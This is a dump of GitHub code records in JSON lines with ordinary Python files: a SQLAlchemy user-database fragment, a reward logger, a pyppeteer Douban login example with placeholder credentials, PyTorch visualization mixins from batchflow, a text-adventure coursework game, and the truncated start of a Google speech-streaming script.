self._session.commit()\n except Exception:\n self._session.rollback()\n user = None\n return user\n\n def find_user_by(self, **kwargs) -> User:\n \"\"\"\n Find a user in the database by keyword arguments\n\n Args:\n **kwargs: Arbitrary keyword arguments to filter the query\n\n Returns:\n User: The first matching User object\n\n Raises:\n NoResultFound: If no results are found\n InvalidRequestError: If wrong query arguments are passed\n \"\"\"\n user = self._session.query(User).filter_by(**kwargs).first()\n if user is None:\n raise NoResultFound()\n return user\n\n def update_user(self, user_id: int, **kwargs) -> None:\n \"\"\"\n Update a user in the database by user_id and keyword arguments\n\n Args:\n user_id (int): The ID of the user to update\n **kwargs: Arbitrary keyword arguments to update\n the user's attributes\n\n Raises:\n NoResultFound: If no user is found with the given user_id\n ValueError: If an argument does not correspond to a user attribute\n \"\"\"\n user = self.find_user_by(id=user_id)\n for attr, value in kwargs.items():\n if hasattr(User, attr):\n setattr(user, attr, value)\n else:\n raise ValueError()\n\n self._session.commit()\n","repo_name":"queensk/alx-backend-user-data","sub_path":"0x03-user_authentication_service/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":2846,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"33266767718","text":"import csv \nimport os\nimport errno\n\n \ndef saveRewardHistory(data):\n saveFileName = data[\"Performance Save File Name\"]\n # Create File Directory if it doesn't exist\n if not os.path.exists(os.path.dirname(saveFileName)):\n try:\n os.makedirs(os.path.dirname(saveFileName))\n except OSError as exc: # Guard against race condition\n if exc.errno != errno.EEXIST:\n raise\n \n with open(saveFileName, 'w', newline='') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerow([\"*Episode\"] + list(range(len(data[\"Reward History\"]))))\n writer.writerow(['Performance'] + data[\"Reward History\"])\n\ndef createRewardHistory(data):\n data[\"Reward History\"] = []\n \ndef updateRewardHistory(data):\n data[\"Reward History\"].append(data[\"Global Reward\"])\n \ndef printGlobalReward(data):\n if data[\"World Index\"] == 0:\n print(data[\"Global Reward\"])\n ","repo_name":"Sir-Batman/Rover-Domain","sub_path":"code/reward_history.py","file_name":"reward_history.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"71270894453","text":"import asyncio\nfrom pyppeteer import launch\n\nurl = 'https://www.douban.com/'\nwidth, height = 1366, 768\n\n\nasync def main():\n browser = await launch(devtools=True,\n args=[f'--window-size={width},{height}', '--disable-blink-features=AutomationControlled', '--disable-infobars'],\n ignoreHTTPSErrors=True)\n page = await browser.newPage()\n await page.setViewport({\"width\": width, \"height\": height})\n await page.goto(url)\n await page.waitFor('.login>iframe')\n frame = page.frames[0]\n # 找到账户密码登录框\n print(await frame.content())\n await frame.click('.account-tab-account')\n # 输入账户和密码\n await frame.type('#username', '你的用户名')\n await frame.type(\"#password\", \"你的密码\")\n await frame.click('.account-form-field-submit')\n await page.waitFor('.nav-user-account')\n print(await page.content())\n print(await page.cookies())\n await browser.close()\n\n\nif __name__ == '__main__':\n asyncio.get_event_loop().run_until_complete(main())","repo_name":"Bruceey/Spider_Learning","sub_path":"16、信息校验反爬虫/cookie验证/Test02_豆瓣登录03pyppeteer.py","file_name":"Test02_豆瓣登录03pyppeteer.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"41000724760","text":"\"\"\" Contains mixin for :class:`~.torch.TorchModel` to provide textual and graphical visualizations. \"\"\"\nimport sys\nfrom ast import literal_eval\nfrom pprint import pformat as _pformat\n\nimport numpy as np\nimport torch\n\nfrom ...monitor import GPUMemoryMonitor\nfrom ...notifier import Notifier\nfrom ...plotter import plot\nfrom ...decorators import deprecated\n\n# Also imports `tensorboard`, if necessary\n\n\ndef pformat(object, indent=1, width=80, depth=None, *, compact=False, sort_dicts=True, underscore_numbers=False):\n \"\"\" Backwards compatible version of pformat. \"\"\"\n # pylint: disable=unexpected-keyword-arg\n _ = underscore_numbers\n if sys.version_info.minor < 8:\n result = _pformat(object=object, indent=indent, width=width, depth=depth, compact=compact)\n else:\n result = _pformat(object=object, indent=indent, width=width, depth=depth, compact=compact,\n sort_dicts=sort_dicts)\n return result\n\n\n\nclass VisualizationMixin:\n \"\"\" Collection of visualization (both textual and graphical) tools for a :class:`~.torch.TorchModel`. \"\"\"\n # Textual visualization of the model\n def information(self, config=False, devices=True, misc=True, bold=True):\n \"\"\" Show information about model configuration, used devices, train steps and more. \"\"\"\n print(self._information(config=config, devices=devices, misc=misc, bold=bold))\n\n def _information(self, config=False, devices=True, misc=True, bold=False):\n \"\"\" Create information string. \"\"\"\n message = ''\n bold_code = '\\033[1m\\033[4m' if bold else ''\n endl_code = '\\033[0m' if bold else ''\n\n template_header = '\\n' + bold_code + '{}:' + endl_code + '\\n'\n\n if config:\n message += template_header.format('Config')\n message += pformat(self.config.config, sort_dicts=False) + '\\n'\n\n if devices:\n message += template_header.format('Devices')\n message += f'Leading device is {self.device}\\n'\n if self.devices:\n message += '\\n'.join([f'Device {i} is {d}' for i, d in enumerate(self.devices)]) + '\\n'\n\n if misc:\n message += template_header.format('Shapes')\n\n if self.inputs_shapes:\n message += '\\n'.join([f'Input {i}: {s}' for i, s in enumerate(self.inputs_shapes)]) + '\\n'\n if self.targets_shapes:\n message += '\\n'.join([f'Target {i}: {s}' for i, s in enumerate(self.targets_shapes)]) + '\\n'\n if self.classes:\n message += f'Number of classes: {self.classes}\\n'\n\n message += template_header.format('Model info')\n if self.model:\n message += f'Order of model parts: {self.model.config[\"order\"]}\\n'\n message += f'Number of all model parameters in the model: {self.num_parameters:,}\\n'\n\n if self.model.config[\"order\"] != self.model.config[\"trainable\"]:\n message += f'Trainable model parts: {self.model.config[\"trainable\"]}\\n'\n message += f'Number of trainable parameters in the model: {self.num_trainable_parameters:,}\\n'\n\n\n message += f'\\nTotal number of passed training iterations: {self.iteration}\\n'\n\n if self.last_train_info:\n message += template_header.format('Last train iteration info')\n message += pformat(self.last_train_info, sort_dicts=False) + '\\n'\n\n if self.last_predict_info:\n message += template_header.format('Last predict iteration info')\n message += pformat(self.last_predict_info, sort_dicts=False) + '\\n'\n return message[1:-1]\n\n\n def repr(self, verbosity=1, collapsible=True, show_num_parameters=False, extra=False,):\n \"\"\" Show simplified model layout. \"\"\"\n self.model.repr(verbosity=verbosity, collapsible=collapsible,\n show_num_parameters=show_num_parameters, extra=extra)\n\n def prepare_repr(self, verbosity=1, collapsible=True, show_num_parameters=False, extra=False):\n return self.model.prepare_repr(verbosity=verbosity, collapsible=collapsible,\n show_num_parameters=show_num_parameters, extra=extra)\n\n\n @property\n def num_frozen_parameters(self):\n return sum(p.numel() for p in self.model.parameters() if not p.requires_grad)\n\n @property\n def num_trainable_parameters(self):\n return sum(p.numel() for p in self.model.parameters() if p.requires_grad)\n\n @property\n def num_parameters(self):\n return sum(p.numel() for p in self.model.parameters())\n\n # Graphs to describe model\n def save_graph(self, log_dir=None, **kwargs):\n \"\"\" Save model graph for later visualization via tensorboard.\n\n Parameters\n ----------\n logdir : str\n Save directory location. Default is `runs/CURRENT_DATETIME_HOSTNAME`, which changes after each run.\n Use hierarchical folder structure to compare between runs easily,\n e.g. ‘runs/exp1’, ‘runs/exp2’, etc. for each new experiment to compare across them from within tensorboard.\n\n Examples\n --------\n To easily check model graph inside Jupyter Notebook, run::\n\n model.save_graph()\n %load_ext tensorboard\n %tensorboard --logdir runs/\n\n Or, using command line::\n tensorboard --logdir=runs\n \"\"\"\n # Import here to avoid unnecessary tensorflow imports inside tensorboard\n from torch.utils.tensorboard import SummaryWriter\n writer = SummaryWriter(log_dir=log_dir, **kwargs)\n writer.add_graph(self.model, self._placeholder_data())\n writer.close()\n\n\n def plot_lr(self, **kwargs):\n \"\"\" Plot graph of learning rate over iterations. \"\"\"\n params = {\n 'title': 'Learning rate',\n 'xlabel': 'Iterations',\n 'ylabel': r'$\\lambda$',\n 'ylabel_rotation': 0,\n 'ylabel_size': 15,\n 'legend': False,\n 'grid': 'major',\n **kwargs\n }\n\n data = [(None, lr) for lr in np.array(self.lr_list).T]\n\n return plot(data=data, mode='loss', **params)\n\n def plot_loss(self, overlay_lr=True, start_iteration=0, frequency=50, **kwargs):\n \"\"\" Plot loss and learning rate over the same figure.\n\n Parameters\n ----------\n overlay_lr : bool\n Whether show learning rate on the same plot with loss or not.\n start_iteration : int\n Starting iteration for display.\n frequency : int\n Tick frequency. Used only if `start_iteration` is not zero.\n kwargs : misc\n For `plot` in `mode='loss'`:\n\n figsize : tuple of ints\n Size of the figure.\n window : int or None\n If int, then averaged graph of loss values is displayed over the regular one.\n The average for each point is computed as the mean value of the kernel with the center in this point.\n Around the edges of loss graph (in the beginning and at the end) we use the nearest value to pad.\n If None, no additional graphs are displayed.\n final_window : int or None\n If int, then we additionally display the mean value of the last `final_window` iterations in the legend.\n If None, no additional info is displayed.\n minor_grid_frequency : number or tuple of two numbers\n If a single number, defines grid frequency for both subplot axes.\n If a tuple of two numbers, they define grid frequencies for x-axis and y-axis correspondingly.\n log_loss, log_lr : bool\n Whether to take the log of respective graph values.\n return figure : bool\n Whether to return the figure.\n savepath : str or None\n If str, then path to save the figure.\n If None, the figure is not saved to disk.\n save_kwargs : dict or None\n If dict, then additional parameters for figure saving.\n \"\"\"\n slc = slice(start_iteration, None)\n locations = np.arange(0, self.iteration - start_iteration, frequency)\n\n if overlay_lr:\n data = (self.loss_list[slc],\n [l[0] for l in self.lr_list][slc])\n else:\n data = (self.loss_list[slc], None)\n\n kwargs['title'] = 'Loss values and learning rate' if overlay_lr else 'Loss values'\n if start_iteration:\n kwargs['xtick_locations'] = locations\n kwargs['xtick_labels'] = locations + start_iteration\n if 'final_window' in kwargs:\n kwargs['final_window'] = min(kwargs['final_window'], self.iteration)\n\n return plot(data=data, mode='loss', **kwargs)\n\n # Deprecated aliases\n deprecation_msg = \"`{}` is deprecated and will be removed in future versions, use `{}` instead.\"\n show_lr = deprecated(deprecation_msg.format('TorchModel.show_lr', 'TorchModel.plot_lr'))(plot_lr)\n show_loss = deprecated(deprecation_msg.format('TorchModel.show_loss', 'TorchModel.plot_loss'))(plot_loss)\n\n\nclass OptimalBatchSizeMixin:\n \"\"\" Compute optimal batch size for training/inference to maximize GPU memory usage.\n Works by using `train`/`predict` with different batch sizes, and measuring how much memory is taken.\n Then, we solve the system of `measured_memory = batch_size * item_size + model_size + eps` equations for both\n `item_size` and `model_size`.\n\n For stable measurements, we make `n` iterations of `train`/`predict`, until the memory consumption stabilizes.\n \"\"\"\n def compute_optimal_batch_size(self, method='train', max_memory=90, inputs=None, targets=None, pbar='n',\n start_batch_size=4, delta_batch_size=4, max_batch_size=128, max_iters=16,\n n=20, frequency=0.05, time_threshold=3, tail_size=20, std_threshold=0.1):\n \"\"\" Compute memory usage for multiple batch sizes. \"\"\"\n #pylint: disable=consider-iterating-dictionary\n table = {}\n batch_size = start_batch_size\n for _ in Notifier(pbar)(range(max_iters)):\n info = self.get_memory_utilization(batch_size, method=method,\n inputs=inputs, targets=targets, n=n, frequency=frequency,\n time_threshold=time_threshold,\n tail_size=tail_size, std_threshold=std_threshold)\n table[batch_size] = info\n\n # Exit condition\n batch_size += delta_batch_size\n if info['memory'] > max_memory or batch_size > max_batch_size :\n break\n\n # Make and solve a system of equations for `item_size`, `model_size`\n matrix = np.array([[batch_size, 1] for batch_size in table.keys()])\n vector = np.array([value['memory'] for value in table.values()])\n item_size, model_size = np.dot(np.linalg.pinv(matrix), vector)\n\n # Compute the `batch_size` to use up to `max_memory`\n optimal_batch_size = (max_memory - model_size) / item_size\n optimal_batch_size = int(optimal_batch_size)\n\n return {'batch_size': optimal_batch_size,\n 'item_size': item_size,\n 'model_size': model_size,\n 'table': table}\n\n def get_memory_utilization(self, batch_size, method='train', inputs=None, targets=None, n=20, frequency=0.05,\n time_threshold=3, tail_size=20, std_threshold=0.1):\n \"\"\" For a given `batch_size`, make `inputs` and `targets` and compute memory utilization. \"\"\"\n inputs = inputs or self.make_placeholder_data(batch_size)\n inputs = list(inputs) if isinstance(inputs, (tuple, list)) else [inputs]\n inputs = [item[:batch_size] for item in inputs]\n\n targets = targets or self.predict(inputs=inputs, outputs='predictions')\n targets = list(targets) if isinstance(targets, (tuple, list)) else [targets]\n targets = [item[:batch_size] for item in targets]\n\n # Clear the GPU from potential previous runs\n torch.cuda.empty_cache()\n return self._get_memory_utilization(method=method, inputs=inputs, targets=targets, n=n, frequency=frequency,\n time_threshold=time_threshold,\n tail_size=tail_size, std_threshold=std_threshold)\n\n def _get_memory_utilization(self, method, inputs, targets, n, frequency,\n time_threshold, tail_size, std_threshold):\n \"\"\" Run method `n` times and make sure that memory measurements are stable. \"\"\"\n with GPUMemoryMonitor(frequency=frequency) as monitor:\n for _ in range(n):\n if method == 'train':\n _ = self.train(inputs=inputs, targets=targets, microbatch_size=False)\n elif method == 'predict':\n _ = self.predict(inputs=inputs, microbatch_size=False)\n\n # Check if the measurement is stable. If so, return the value and confidence\n data = monitor.data\n time = len(data) * frequency # in seconds\n if time > time_threshold:\n tail = data[-tail_size:]\n if np.std(tail) < std_threshold:\n return {'memory': np.mean(tail), 'n': n, 'monitor': monitor}\n\n # If the measurement is not stable, run for twice as long\n return self._get_memory_utilization(method=method, inputs=inputs, targets=targets,\n n=2*n, frequency=frequency, time_threshold=time_threshold,\n tail_size=tail_size, std_threshold=std_threshold)\n\n\n\nclass LayerHook:\n \"\"\" Hook to get both activations and gradients for a layer. \"\"\"\n # TODO: work out the list activations / gradients\n def __init__(self, module):\n self.activation = None\n self.gradient = None\n\n self.forward_handle = module.register_forward_hook(self.forward_hook)\n self.backward_handle = module.register_backward_hook(self.backward_hook)\n\n def forward_hook(self, module, input, output):\n \"\"\" Save activations: if multi-output, the last one is saved. \"\"\"\n _ = module, input\n if isinstance(output, (tuple, list)):\n output = output[-1]\n self.activation = output\n\n def backward_hook(self, module, grad_input, grad_output):\n \"\"\" Save gradients: if multi-output, the last one is saved. \"\"\"\n _ = module, grad_input\n if isinstance(grad_output, (tuple, list)):\n grad_output = grad_output[-1]\n self.gradient = grad_output\n\n def close(self):\n self.forward_handle.remove()\n self.backward_handle.remove()\n\n def __del__(self):\n self.close()\n\n\nclass ExtractionMixin:\n \"\"\" Extract information about intermediate layers: activations, gradients and weights. \"\"\"\n def is_layer_id(self, string):\n \"\"\" Check if the passed `string` is a layer id: a string, that can be used to access a layer in the model.\n For more about layer ids, refer to `:meth:~.get_layer` documentation.\n \"\"\"\n try:\n _ = self.get_layer(string)\n return True\n except (AttributeError, LookupError):\n return False\n\n def get_layer(self, layer_id):\n \"\"\" Get layer instance by its layer id.\n\n The layer id describes how to access the layer through a series of `getattr` and `getitem` calls.\n For example, if the model has `batchflow_model.model.head[0]` layer, you can access it with::\n\n >>> batchflow_model.get_layer('model.head[0]')\n\n String keys for `getitem` calls are also allowed::\n\n >>> batchflow_model.get_layer('model.body.encoder[\"block-0\"]')\n \"\"\"\n layer_id = layer_id.replace('[', ':').replace(']', '')\n prefix, *attributes = layer_id.split('.')\n if prefix != 'model':\n raise AttributeError('Layer id should start with `model`. i.e. `model.head`!')\n\n result = self.model\n for attribute in attributes:\n attribute, *item_ids = attribute.split(':')\n\n result = getattr(result, attribute)\n for item_id in item_ids:\n result = result[literal_eval(item_id)]\n return result\n\n\n def get_intermediate_activations(self, inputs, layers=None):\n \"\"\" Compute the intermediate activations of a given layers in the same structure (tuple/list/dict).\n\n Under the hood, a forward hook is registered to capture the output of a targeted layers,\n and it is removed after extraction of all the activations.\n\n Parameters\n ----------\n inputs : np.array or sequence of them\n Inputs to the model.\n layers : nn.Module, sequence or dict\n If nn.Module, then must be a part of the `model` attribute to get activations from.\n If sequence, then multiple such modules.\n If dictionary, then values must be such modules.\n\n Returns\n -------\n Intermediate activations in the same structure, as `layers`.\n \"\"\"\n #pylint: disable=unnecessary-comprehension\n if layers is None:\n raise TypeError('get_intermediate_activations() missing 1 required argument: `layers`')\n\n # Parse `activations`: make it a dictionary\n if not isinstance(layers, (tuple, list, dict)):\n container = {0: layers}\n elif isinstance(layers, (tuple, list)):\n container = {i: item for i, item in enumerate(layers)}\n else:\n container = dict(layers) # shallow copy is fine\n\n container = {key: LayerHook(module)\n for key, module in container.items()}\n\n # Parse inputs to model, run model\n inputs = self.transfer_to_device(inputs)\n self.model.eval()\n with torch.no_grad():\n self.model(inputs)\n\n # Remove hooks; parse hooked data into desired format\n for value in container.values():\n value.close()\n\n container = {key : extractor.activation.detach().cpu().numpy()\n for key, extractor in container.items()}\n\n if isinstance(layers, (tuple, list)):\n container = [container[i] for i, _ in enumerate(layers)]\n elif not isinstance(layers, dict):\n container = container[0]\n return container\n\n def get_layer_representation(self, layer, index=0, input_shape=None, ranges=(-1, 1), iters=100, return_loss=False):\n \"\"\" Compute a representation of an intermediate layer.\n\n Under the hood, this function generates random image and then optimizes it\n with respect to the mean value of activations at the target layer.\n\n Parameters\n ----------\n layer : nn.Module\n Part of the model to visualize.\n index : int or slice\n Valid slice for the activations at the targeted layer. Default is 0.\n input_shape : sequence\n Shape of the image to generate. Default is the shape of the last model input.\n ranges : sequence\n Lower and upper bound of values in generated image.\n iters : int\n Number of optimization iterations.\n return_loss : bool\n Whether to return the loss values of optimization procedure.\n \"\"\"\n # Create starting image: random uniform noise\n input_shape = input_shape or self.inputs_shapes[0][1:]\n image = np.random.uniform(*ranges, input_shape)[None]\n image_var = torch.from_numpy(image.astype(np.float32)).to(self.device)\n image_var.requires_grad = True\n\n # Set up optimization procedure\n extractor = LayerHook(layer)\n optimizer = torch.optim.Adam([image_var], lr=0.1, weight_decay=1e-6)\n self.model.eval()\n\n # Iteratively make image visualize desired layer/filter\n losses = []\n for _ in range(iters):\n optimizer.zero_grad()\n # Clone is needed due to bug in PyTorch v1.3. May be removed later\n self.model(image_var.clone())\n\n loss = - extractor.activation[0, index].mean()\n loss.backward()\n optimizer.step()\n\n image_var.data.clamp_(*ranges)\n losses.append(loss.detach())\n\n # Clean-up: one final clamp and closing handles\n image_var.data.clamp_(*ranges)\n image_var = image_var.detach().cpu().numpy()\n extractor.close()\n\n if return_loss:\n return image_var, losses\n return image_var\n\n def get_gradcam(self, inputs, targets=None,\n layer=None, gradient_mode='onehot', cam_class=None):\n \"\"\" Create visual explanation of a network decisions, based on the intermediate layer gradients.\n Ramprasaath R. Selvaraju, et al \"`Grad-CAM: Visual Explanations\n from Deep Networks via Gradient-based Localization `_\"\n\n Under the hood, forward and backward hooks are used to extract the activation and the gradient,\n and the mean value of gradients along channels are used as weights for activation summation.\n\n Parameters\n ----------\n inputs : np.array or sequence of them\n Inputs to the model.\n layers : nn.Module, sequence or dict\n Part of the model to base visualizations on.\n gradient_mode : Tensor or str\n If Tensor, then used directly to backpropagate from.\n If `onehot`, then OHE is created with `cam_class` parameter.\n If `targets`, then targets argument is used.\n Otherwise, model prediction is used.\n cam_class : int\n If gradient mode is `onehot`, then class to visualize. Default is the model prediction.\n \"\"\"\n extractor = LayerHook(layer)\n inputs = self.transfer_to_device(inputs)\n\n self.model.eval()\n prediction = self.model(inputs)\n\n if isinstance(gradient_mode, np.ndarray):\n gradient = self.transfer_to_device(gradient_mode)\n elif 'target' in gradient_mode:\n gradient = targets\n elif 'onehot' in gradient_mode:\n gradient = torch.zeros_like(prediction)[0:1]\n cam_class = cam_class or np.argmax(prediction.detach().cpu().numpy()[0])\n gradient[0][cam_class] = 1\n else:\n gradient = prediction.clone()\n\n self.model.zero_grad()\n prediction.backward(gradient=gradient, retain_graph=True)\n self.model.zero_grad()\n\n activation = extractor.activation.detach().cpu().numpy()[0]\n gradient = extractor.gradient.detach().cpu().numpy()[0]\n\n weights = np.mean(gradient, axis=(1, 2))\n camera = np.zeros(activation.shape[1:], dtype=activation.dtype)\n\n for i, w in enumerate(weights):\n camera += w * activation[i]\n\n camera = np.maximum(camera, 0)\n camera = (camera - np.min(camera)) / (np.max(camera) - np.min(camera) + 0.0001)\n camera = np.uint8(camera * 255)\n return camera\n\n # Visualize signal propagation statistics\n def get_signal_propagation(self, model=None, input_tensor=None):\n \"\"\" Compute signal propagation statistics of all layers in the network.\n Brock A. et al \"`Characterizing signal propagation to close the performance gap in unnormalized ResNets\n `_\"\n\n Under the hood, forward hooks are registered to capture outputs of all layers,\n and they are removed after extraction of all the activations.\n\n Parameters\n ----------\n model : nn.Module\n Model to base visualizations on.\n input_tensor : Tensor\n Input tensor for signal propagation.\n \"\"\"\n model = model or self.model\n\n if input_tensor is None:\n input_shape = self.inputs_shapes[-1]\n input_tensor = torch.randn(input_shape, device=self.device)\n\n statistics = {\n 'Average Channel Squared Mean': [],\n 'Average Channel Variance': [],\n 'Modules instances': []\n }\n extractors = []\n signals = []\n\n try:\n for module in model.modules():\n submodules_amount = sum(1 for _ in module.modules())\n module_instance = module.__class__.__name__\n if (submodules_amount == 1) and (module_instance != 'Identity'):\n extractors.append(LayerHook(module))\n statistics['Modules instances'].append(module_instance)\n _ = model(input_tensor)\n finally:\n for extractor in extractors:\n signals.append(extractor.activation)\n extractor.close()\n\n for tensor in signals:\n avg_ch_squared_mean = torch.mean(torch.mean(tensor, axis=1) ** 2).item()\n avg_ch_var = torch.mean(torch.var(tensor, axis=1)).item()\n\n statistics['Average Channel Squared Mean'].append(avg_ch_squared_mean)\n statistics['Average Channel Variance'].append(avg_ch_var)\n\n return statistics\n\n def plot_signal_propagation(self, model=None, input_tensor=None,\n statistics=('Average Channel Squared Mean', 'Average Channel Variance'), **kwargs):\n \"\"\" Visualize signal propagation plot.\n\n Parameters\n ----------\n model : nn.Module\n Model to base visualizations on.\n input_tensor : Tensor\n Input tensor for signal propagation.\n statistics : list or dict\n If list, must contain keys for dict returned by `ExtractionMixin.get_signal_propagation`.\n If dict, must map signal propagation statistics names to 1d arrays.\n kwargs : misc\n For `batchflow.plot`\n \"\"\"\n if isinstance(statistics, tuple):\n names = list(statistics)\n statistics = self.get_signal_propagation(model=model, input_tensor=input_tensor)\n data = [statistics[name] for name in names]\n elif isinstance(statistics, dict):\n data = list(statistics.values())\n names = list(statistics.keys())\n\n plot_params = {\n 'title': [f\"{text} over network units\" for text in names],\n 'xlabel': 'Network depth',\n 'ylabel': names,\n **kwargs\n }\n\n plot(data=data, mode='curve', combine='separate', **plot_params)\n","repo_name":"analysiscenter/batchflow","sub_path":"batchflow/models/torch/base_mixins.py","file_name":"base_mixins.py","file_ext":"py","file_size_in_byte":26643,"program_lang":"python","lang":"en","doc_type":"code","stars":194,"dataset":"github-code","pt":"21"} +{"seq_id":"27480935402","text":"# Vishaal Bakshi\n# Assignment 3: Decomposing a problem into functions.\n# CPSC231\nstate_pantry = 4 # Invalid state of the pantry. \nstate_kitchen = 3 # Invalid state of the kitchen.\nis_stage2 = 0 # Flag to set that we are in stage 2.\n\ndef enterance_room():\n enterance_input = 4 # Invalid state of enterance_input from user\n global is_stage2\n \n while (enterance_input > 3 or enterance_input == 0):\n print(\"Welcome to the enterance room.\\n\")\n print(\"1. Unlock Door.\")\n print(\"2. Take Right Walkway.\")\n print(\"3. Take Left Walkway.\\n\\n\")\n enterance_input = input();\n print(\"You chose option \" + str(enterance_input))\n\n # User selected to unlock the door.\n if enterance_input == 1:\n # Check if door is unlocked.\n if (check_stage1_state()):\n is_stage2 = 1\n return\n else: # Door is not locked. Try again.\n print(\"Door Locked. Try again\\n\\n\")\n enterance_input = 4 # Trick to stay in inside loop\n\n # Check if user selected to enter the pantry.\n if (enterance_input == 2):\n pantry_room()\n\n # Check if user selected to enter the kitchen.\n if (enterance_input == 3):\n kitchen_room()\n \n return 0\n\ndef pantry_room():\n temp_input = 5\n global state_pantry\n while (temp_input > 4 or temp_input == 0):\n print (\"Welcome to Pantry Room. Set up the dial. \\n 1. Blue \\n 2. Red \\n 3. Green \\n 4. Exit without change\\n\\n\")\n temp_input = input()\n state_pantry = temp_input\n print(state_pantry)\n\n \ndef kitchen_room():\n temp_input = 4\n global state_kitchen\n while (temp_input > 3 or temp_input == 0):\n print (\"Welcome to Kitchen Room. Set up the lever. \\n 1. Front \\n 2. Back \\n 3. Exit without change \\n\\n\")\n temp_input = input()\n state_kitchen = temp_input\n print(state_kitchen)\n \ndef check_stage1_state():\n if (state_kitchen == 2) and (state_pantry == 2):\n return 1\n else:\n return 0\n\nis_livingroom_potofsoil_fertilized = 0\nis_ballofstring_picked = 0\nis_ballofstring_dropped = 0\nis_user_got_some_cheese = 0\n\ndef living_room(_is_ballofstring_picked, _is_livingroom_potofsoil_fertilized):\n user_input = 5\n global is_ballofstring_picked\n\n while (user_input > 4 or user_input == 0):\n print(\"Welcome to the living room. \\n\")\n print(\"Choose from the following options:\\n\")\n print(\"1. View the pot of soil.\")\n print(\"2. Take the Stairs to the attic.\")\n print(\"3. Take the Dark enteranceway to the bedroom.\")\n if (_is_ballofstring_picked == 0):\n print(\"4. Pick up ball of string.\\n\")\n user_input = input()\n\n if (user_input == 1):\n if (_is_livingroom_potofsoil_fertilized):\n print(\"WELCOME TO PARADISE. YOU WIN!\")\n return 1\n else:\n print(\"Vine is DRY.\\n\")\n elif (user_input == 2):\n attic_room(_is_ballofstring_picked)\n return 0\n elif (user_input == 3):\n bedroom_room(is_ballofstring_picked, is_ballofstring_dropped, is_user_got_some_cheese)\n return 0\n elif (user_input == 4 and is_ballofstring_picked == 0):\n is_ballofstring_picked = 1\n _is_ballofstring_picked = is_ballofstring_picked\n user_input = 5\n \n return 0\n\ndef attic_room(_is_ballofstring_picked):\n user_input = 5\n\n while (user_input > 4 or user_input == 0):\n print(\"Welcome to the Attic.\\n\")\n print(\"1. Pick up some cheese and drop it.\")\n print(\"2. Pick up some cheese and carry it with you.\")\n print(\"3. Return to the livingroom via the stairs.\")\n if (_is_ballofstring_picked and is_ballofstring_dropped == 0):\n print(\"4. Drop the string down the hole to distract TomCat.\\n\")\n\n user_input = input() \n if (user_input == 1):\n print(\"Cheese is too big.\\n\")\n elif (user_input == 2):\n global is_user_got_some_cheese\n is_user_got_some_cheese = 1\n elif (user_input == 3):\n # Return to living room\n return # return so as to not call living_room() recursively.\n elif (user_input == 4 and is_ballofstring_dropped == 0):\n # Drop string\n global is_ballofstring_dropped\n is_ballofstring_dropped = 1\n\n user_input = 5\n return\n\ndef bedroom_room(_is_ballofstring_picked, _is_ballofstring_dropped, _is_user_got_some_cheese):\n user_input = 10\n\n while (user_input > 3 or user_input == 0):\n print(\"Welcome to bedroom.\\n\")\n if (_is_ballofstring_dropped):\n print(\"1. Mouse wants to be fed. Feed it!\")\n elif (_is_ballofstring_picked):\n print(\"2. Play with Cat.\")\n print (\"3. Return to livingroom.\\n\")\n\n user_input = input()\n if (user_input == 1):\n print(\"Mouse was fed and is back for more if you would like :).\\n\")\n global is_livingroom_potofsoil_fertilized\n is_livingroom_potofsoil_fertilized = 1\n user_input = 10\n elif (user_input == 2):\n print(\"Cat had fun playing but is back to hunting the mouse :(.\\n\")\n user_input = 10\n elif (user_input == 3):\n print(\"Returning to livingroom.\\n\")\n return\n return\n\n# Entry point to the game. This is the first function that is run and contains\n# the superloop for the game. \ndef main():\n print(\"Welcome to the game.\\n\")\n \n # Superloop of the game.\n while 1:\n # Check if user is in stage2 \n if (is_stage2):\n # Returns true if stage1 is complete.\n print(\"Entering stage2.\\n\")\n if (living_room(is_ballofstring_picked, is_livingroom_potofsoil_fertilized)):\n return # Game over.\n else:\n enterance_room()\n # User still in stage 1.\n if (state_pantry == 1):\n print(\"Dial set to Blue\")\n elif (state_pantry == 2):\n print(\"Dial set to Red\")\n elif (state_pantry == 3):\n print(\"Dial set to Green\")\n elif (state_pantry == 4):\n print(\"Dial Not set\")\n\n if (state_kitchen == 1):\n print(\"Kitchen lever pushed Forward\\n\\n\")\n elif (state_kitchen == 2):\n print(\"Kitchen lever pushed Backward\\n\\n\")\n elif (state_kitchen == 3):\n print(\"Kitchen lever not set.\\n\\n\") \n return\n\nmain()\n\n","repo_name":"wshBak/cpsc2321","sub_path":"assignment3.py","file_name":"assignment3.py","file_ext":"py","file_size_in_byte":6772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4849481203","text":"from __future__ import division\n\nimport re\nimport sys\nimport os\n\nfrom google.cloud import speech\n\nimport pyaudio\nfrom six.moves import queue\nfrom weather import WeatherModule\nfrom tts import TTS\nfrom classification import Classification\n\n\n# Audio recording parameters\nRATE = 44100#16000\nCHUNK = 4096#int(RATE/10) # 100ms\n\n\nclass MicrophoneStream(object):\n \"\"\"Opens a recording stream as a generator yielding the audio chunks.\"\"\"\n def __init__(self, rate, chunk):\n self._rate = rate\n self._chunk = chunk\n\n # Create a thread-safe buffer of audio data\n self._buff = queue.Queue()\n self.closed = True\n\n def __enter__(self):\n self._audio_interface = pyaudio.PyAudio()\n self._audio_stream = self._audio_interface.open(\n format=pyaudio.paInt16,\n # The API currently only supports 1-channel (mono) audio\n # https://goo.gl/z757pE\n channels=1, rate=self._rate,\n input=True, frames_per_buffer=self._chunk,\n # Run the audio stream asynchronously to fill the buffer object.\n # This is necessary so that the input device's buffer doesn't\n # overflow while the calling thread makes network requests, etc.\n stream_callback=self._fill_buffer,\n input_device_index = 1\n )\n\n self.closed = False\n\n return self\n\n def __exit__(self, type, value, traceback):\n self._audio_stream.stop_stream()\n self._audio_stream.close()\n self.closed = True\n # Signal the generator to terminate so that the client's\n # streaming_recognize method will not block the process termination.\n self._buff.put(None)\n self._audio_interface.terminate()\n\n def _fill_buffer(self, in_data, frame_count, time_info, status_flags):\n \"\"\"Continuously collect data from the audio stream, into the buffer.\"\"\"\n self._buff.put(in_data)\n return None, 